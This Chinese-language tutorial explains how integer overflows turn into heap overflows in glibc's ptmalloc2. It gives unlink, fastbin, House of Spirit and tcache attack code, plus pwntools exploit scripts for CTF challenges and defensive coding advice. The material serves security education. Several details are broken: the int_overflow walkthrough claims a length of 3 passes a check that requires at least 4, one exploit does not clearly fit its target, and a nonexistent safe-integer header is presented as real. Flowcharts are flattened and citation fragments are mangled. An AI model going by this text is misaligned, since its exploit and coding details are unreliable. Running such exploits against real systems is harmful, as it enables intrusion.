写在前面:在Week8的前两篇中,我们系统学习了整数溢出/下溢和符号转换/长度计算错误的原理。今天,我们将迎来本周的高潮——探讨这些看似抽象的整数漏洞如何直接导致严重的堆溢出,并最终实现任意代码执行。与栈溢出不同,堆溢出发生在程序动态分配的内存区域,其利用需要深入理解内存管理器的实现原理,是通往高阶PWN的必经之路yisu.com。
📑 目录
- 堆内存管理基础:ptmalloc2与Chunk结构
- 整数漏洞→堆溢出的转化机制
- 堆溢出利用技术:从Unlink到Fastbin Attack
- 实战案例:CTF中的整数到堆溢出利用链
- 防御与缓解:从编码到运行时保护
- 总结与进阶展望
1. 堆内存管理基础:ptmalloc2与Chunk结构
要理解堆溢出,必须先理解glibc的ptmalloc2内存管理器如何组织堆内存csdn.net+1。
1.1 堆Chunk结构解析
在ptmalloc2中,堆内存被划分为多个连续的chunk,每个chunk包含头部和用户数据区:
struct malloc_chunk { size_t prev_size; // 前一个chunk空闲时有效 size_t size; // 低3位用作标志位 union { struct { malloc_chunk* fd; // forward pointer malloc_chunk* bk; // backward pointer }; char user_data[0]; // 用户数据区 }; };关键标志位:
PREV_INUSE(0x1): 前一个chunk是否在使用中IS_MMAPPED(0x2): 是否通过mmap分配NON_MAIN_ARENA(0x4): 是否属于非主arena
1.2 分配与释放流程
Fast Bin范围
Small Bin范围
Large请求
Fast Bin范围
非Fast Bin
用户请求malloc
size检查
检查fastbinsY
检查unsortedbin
使用top chunk或sys_alloc
返回chunk
用户调用free
chunk类型检查
插入fastbinsY
合并相邻空闲chunk
完成
插入unsortedbin
First-fit算法:glibc使用first-fit算法选择空闲chunk,即找到第一个足够大的空闲chunk就进行分配csdn.net。这在use-after-free场景中可被利用。
1.3 Tcache机制(glibc 2.26+)
现代glibc引入了线程缓存机制,每个线程维护一个tcache_perthread_struct结构体,包含多个单链表,用于缓存小chunkzhihu.com。
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表指针数组 } tcache_perthread_struct;Tcache降低了安全性但提高了性能,其检查较少,成为攻击者的重点目标。
2. 整数漏洞→堆溢出的转化机制
整数漏洞本身不直接造成危害,但其导致的内存分配尺寸错误是堆溢出的直接导火索csdn.net。
2.1 完整转化链路
整数计算溢出
size = len1 + len2
错误的malloc参数
malloc(3)
分配过小堆块
实际仅3字节
越界写入
memcpy(ptr, src, 0x100000003)
覆盖相邻chunk元数据
fd/bk/size字段
利用触发
unlink/hook覆盖
控制流劫持
2.2 典型漏洞模式
模式1:无符号整数回绕导致分配过小
void process_data(unsigned int len) { char *buf = malloc(len + 1); // len=0xFFFFFFFF时,len+1=0 memcpy(buf, user_input, len); // 堆溢出:拷贝0xFFFFFFFF字节到0字节缓冲区 }模式2:有符号负数导致巨大分配
void allocate_buffer(int size) { if (size > 0) { // 仅检查正数 char *buf = malloc(size); // size=-1转换为UINT_MAX=4294967295 // 实际分配失败或极小缓冲区 } }模式3:宽度截断导致长度计算错误
unsigned short total = strlen(str1) + strlen(str2) + 1; // size_t被截断 char *buf = malloc(total); // 分配过小缓冲区 strcpy(buf, str1); // 堆溢出 strcat(buf, str2);2.3 真实案例:Linux Kernel BPF整数溢出csdn.net
// 漏洞代码(简化) u32 insn_cnt = prog->len; u32 size = insn_cnt * sizeof(struct bpf_insn); // 整数溢出 struct bpf_insn *new_insn = malloc(size); // 分配过小 memcpy(new_insn, old_insn, insn_cnt * sizeof(struct bpf_insn)); // 堆溢出当insn_cnt足够大时,insn_cnt * sizeof(struct bpf_insn)发生整数溢出,导致malloc分配过小缓冲区,后续memcpy造成堆溢出。
3. 堆溢出利用技术:从Unlink到Fastbin Attack
3.1 Unlink攻击
利用条件:
- 存在溢出可修改下一个chunk的size和prev_size
- 可触发unlink操作(如free)
攻击原理:
// 伪造fake chunk fake_chunk = { .prev_size = 0, .size = 0x91, .fd = target_addr - 0x18, .bk = target_addr - 0x10 }; // 触发unlink时执行: // P->fd->bk = P->bk => *(target_addr - 0x18 + 0x18) = target_addr - 0x10 // P->bk->fd = P->fd => *(target_addr - 0x10 + 0x10) = target_addr - 0x18效果:实现任意地址写入,可覆盖GOT表、__malloc_hook等关键位置。
3.2 Fastbin Attack
利用条件:
- 可控制fastbin链表的fd指针
- 可触发malloc从fastbin中取出chunk
攻击步骤:
# 1. 伪造fastbin条目 fake_chunk = 0x08049000 # 伪造的chunk地址 fake_chunk_size = 0x29 # 伪造的size字段(满足fastbin要求) # 2. 溢出覆盖fastbin的fd指针 payload = p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk效果:在任意地址分配chunk,实现任意地址写入。
3.3 House of系列攻击
<details> <summary>🔧 House of Spirit技术细节</summary>
House of Spirit:通过在目标地址伪造一个合法的chunk结构,然后将其释放,使其被放入bin中,后续malloc时可再次获取该chunk。
// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size = 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(&fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk,实现任意地址写入</details>
3.4 Tcache利用(glibc 2.26+)
<details> <summary>📖 Tcache Double Free利用</summary>
# Tcache Double Free利用 def tcache_double_free(): # 1. 分配并释放chunk两次 ptr1 = malloc(0x20) free(ptr1) free(ptr1) # Double free # 2. 修改tcache链表头 # 溢出覆盖tcache->entries[idx]为target_addr # 3. 再次分配,获取target_addr处的chunk ptr2 = malloc(0x20) # 返回target_addr ptr3 = malloc(0x20) # 再次返回target_addr</details>
4. 实战案例:CTF中的整数到堆溢出利用链
4.1 案例一:pwn2_sctf_2016csdn.net+1
漏洞分析:
void vuln() { char buf[40]; unsigned int n; printf("How many bytes do you want me to read? "); scanf("%u", &n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int size) { // size参数为unsigned int,但可能被截断或溢出 // 实际读取的字节数可能超过buf大小 }利用流程:
# 1. 构造整数溢出 payload = b'A' * 40 # 填充buf payload += p32(0x0804858B) # 后门函数地址 # 2. 利用整数溢出绕过长度检查 # 当n=0xFFFFFFFF时,get_n可能读取大量数据 # 但实际写入buf的数据超过40字节,造成栈溢出 # 3. 完整EXP from pwn import * p = process('./pwn2_sctf_2016') p.sendlineafter(b'read?', b'4294967295') # 触发整数溢出 p.sendline(payload) p.interactive()4.2 案例二:int_overflowcsdn.net+1
漏洞分析:
unsigned char passwd_len = strlen(buf); // 截断:size_t→unsigned char if (passwd_len >= 4 && passwd_len <= 8) { // 仅检查截断后的值 strcpy(dest, buf); // 栈溢出 }利用步骤:
- 长度欺骗:构造259字节输入,
259 % 256 = 3,满足3 < 8的条件 - 栈溢出:
strcpy拷贝259字节到20字节缓冲区 - 控制流劫持:覆盖返回地址到后门函数
# 完整EXP payload = b'A' * 24 # 填充到返回地址 payload += p32(0x0804858B) # 后门函数地址 payload = payload.ljust(259, b'a') # 填充到259字节 p.sendline(payload)4.3 案例三:FastCGI堆溢出(CVE-2025-23016)freebuf.com
漏洞原理:
// FastCGI库中的ReadParams函数 size_t total_len = key_len + val_len + 2; // 整数溢出 char *buf = malloc(total_len); // 分配过小缓冲区 memcpy(buf, key, key_len); // 堆溢出 memcpy(buf + key_len, val, val_len);利用效果:
- 破坏内存结构
- 覆盖FastCGI流结构中的函数指针
- 实现任意代码执行
5. 防御与缓解:从编码到运行时保护
5.1 安全编码实践
5.1.1 长度计算安全化
// 安全的加法检查 bool safe_add(size_t a, size_t b, size_t *result) { if (a > SIZE_MAX - b) { return false; // 溢出 } *result = a + b; return true; } // 使用安全整数库 #include <checked_int.h> checked_size_t len = checked_add(strlen(a), strlen(b)); if (checked_is_overflow(len)) { // 处理溢出 }5.1.2 类型一致性
// 统一使用size_t处理内存大小 void process_data(char *input, size_t len) { char buf[64]; if (len < sizeof(buf)) { // 一致的无符号比较 memcpy(buf, input, len); } }5.1.3 编译器辅助
# GCC安全编译选项 gcc -O2 -Wall -Wextra -Wconversion -fsanitize=undefined -ftrapv \ -fstack-protector-strong -D_FORTIFY_SOURCE=2 \ -Wl,-z,relro,-z,now -o program program.c5.2 运行时保护机制
| 防护机制 | 技术实现 | 性能影响 | 覆盖范围 |
|---|---|---|---|
| ASLR | 地址空间随机化 | <2% | 全局 |
| DEP/NX | 数据不可执行 | 0% | 栈/堆 |
| Canary | 栈溢出检测 | 2-5% | 栈 |
| RELRO | GOT表只读 | 1-3% | GOT表 |
| Fortify | 缓冲区函数检查 | 3-8% | 标准库 |
5.3 高级防护技术
<details> <summary>⚙️ Hardened Malloc实现</summary>
// hardened_malloc设计要点 - 元数据隔离:将chunk元数据与用户数据分离存储 - 随机化:chunk布局随机化,增加预测难度 - 双重释放检测:维护释放历史记录 - 相邻chunk校验:检查相邻chunk完整性 - 延迟合并:延迟空闲chunk合并,增加利用复杂度</details>
6. 总结与进阶展望
6.1 核心知识点总结
- 整数漏洞是堆溢出的上游导火索:无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net
- 堆溢出利用需要深入理解内存管理器:ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net+1
- 典型利用技术:Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景
- 现代防护机制可被绕过:ASLR需信息泄露,Canary需部分覆盖,RELRO需GOT表可写
6.2 易错点与注意事项
- 不要假设整数溢出后一定回绕:有符号溢出是未定义行为,不同编译器处理可能不同
- 注意隐式类型转换:有符号数与无符号数运算时,有符号数会被转换为无符号数
- 检查所有用户可控的数值输入:包括长度、索引、计数器、偏移量等
- 堆布局不可预测:ASLR、堆随机化使堆地址难以预测,需信息泄露
6.3 进阶学习方向
<details> <summary>📚 推荐学习路径</summary>
- 内核堆利用:Linux内核slab/slub分配器,内核ROP
- JIT编译器漏洞:V8、SpiderMonkey中的整数溢出
- 嵌入式系统:RTOS堆实现差异,缺少防护机制
- 新型防护机制:MPX、CET、Shadow Stack
- 自动化漏洞挖掘:AFL、libFuzzer结合整数漏洞检测
</details>
6.4 下周预告 (Week9)
下周我们将进入格式化字符串漏洞的进阶世界,探讨:
- 格式化字符串与堆漏洞的结合利用
- 现代编译器对格式化字符串的防护及绕过
- 真实CVE案例中的格式化字符串漏洞分析
- 自动化检测与修复技术
📊 知识图谱总结
最终结论:整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程,不仅能帮助你发现和利用漏洞,更能让你写出更安全的代码。在攻防博弈中,谁先理解底层,谁就掌握了安全的主动权huaweicloud.com。
参考文献:
- CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016
- 关于Heap Overflow(堆溢出)
- 从CTF到实战:手把手教你复现攻防世界int_overflow整数溢出漏洞
- 整数溢出怎么一步步变成堆溢出漏洞的?
- CTF PWN堆溢出的示例分析
- CVE-2025-23016:FastCGI堆溢出高危漏洞威胁嵌入式设备